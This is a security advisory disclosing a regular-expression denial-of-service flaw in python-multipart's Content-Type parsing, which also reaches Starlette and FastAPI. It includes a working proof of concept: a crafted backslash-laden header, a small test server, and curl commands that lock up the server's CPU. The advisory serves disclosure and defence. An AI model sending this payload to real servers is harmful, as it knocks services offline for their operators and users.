Advisory Published


First published: Mon Feb 12 2024(Updated: )

### Summary When using form data, `python-multipart` uses a Regular Expression to parse the HTTP `Content-Type` header, including options. An attacker could send a custom-made `Content-Type` option that is very difficult for the RegEx to process, consuming CPU resources and stalling indefinitely (minutes or more) while holding the main event loop. This means that process can't handle any more requests. This can create a ReDoS (Regular expression Denial of Service): https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS This only applies when the app uses form data, parsed with `python-multipart`. ### Details A regular HTTP `Content-Type` header could look like: ``` Content-Type: text/html; charset=utf-8 ``` `python-multipart` parses the option with this RegEx: https://github.com/andrew-d/python-multipart/blob/d3d16dae4b061c34fe9d3c9081d9800c49fc1f7a/multipart/multipart.py#L72-L74 A custom option could be made and sent to the server to break it with: ``` Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ ``` ### PoC Create a simple WSGI application, that just parses the `Content-Type`, and run it with `python main.py`: ```Python # main.py from wsgiref.simple_server import make_server from wsgiref.validate import validator from multipart.multipart import parse_options_header def simple_app(environ, start_response): _, _ = parse_options_header(environ["CONTENT_TYPE"]) start_response("200 OK", [("Content-type", "text/plain")]) return [b"Ok"] httpd = make_server("", 8123, validator(simple_app)) print("Serving on port 8123...") httpd.serve_forever() ``` Then send the attacking request with: ```console $ curl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8123/' ``` ### Impact It's a ReDoS, (Regular expression Denial of Service), it only applies to those reading form data. This way it also affects other libraries using Starlette, like FastAPI. ### Original Report This was originally reported to FastAPI as an email to security@tiangolo.com, sent via https://huntr.com/, the original reporter is Marcello, https://github.com/byt3bl33d3r <details> <summary>Original report to FastAPI</summary> Hey Tiangolo! My name's Marcello and I work on the ProtectAI/Huntr Threat Research team, a few months ago we got a report (from @nicecatch2000) of a ReDoS affecting another very popular Python web framework. After some internal research, I found that FastAPI is vulnerable to the same ReDoS under certain conditions (only when it parses Form data not JSON). Here are the details: I'm using the latest version of FastAPI (0.109.0) and the following code: ```Python from typing import Annotated from fastapi.responses import HTMLResponse from fastapi import FastAPI,Form from pydantic import BaseModel class Item(BaseModel): username: str app = FastAPI() @app.get("/", response_class=HTMLResponse) async def index(): return HTMLResponse("Test", status_code=200) @app.post("/submit/") async def submit(username: Annotated[str, Form()]): return {"username": username} @app.post("/submit_json/") async def submit_json(item: Item): return {"username": item.username} ``` I'm running the above with uvicorn with the following command: ```console uvicorn server:app ``` Then run the following cUrl command: ``` curl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8000/submit/' ``` You'll see the server locks up, is unable to serve anymore requests and one CPU core is pegged to 100% You can even start uvicorn with multiple workers with the --workers 4 argument and as long as you send (workers + 1) requests you'll completely DoS the FastApi server. If you try submitting Json to the /submit_json endpoint with the malicious Content-Type header you'll see it isn't vulnerable. So this only affects FastAPI when it parses Form data. Cheers #### Impact An attacker is able to cause a DoS on a FastApi server via a malicious Content-Type header if it parses Form data. #### Occurrences [params.py L586](https://github.com/tiangolo/fastapi/blob/d74b3b25659b42233a669f032529880de8bd6c2d/fastapi/params.py#L586) </details>

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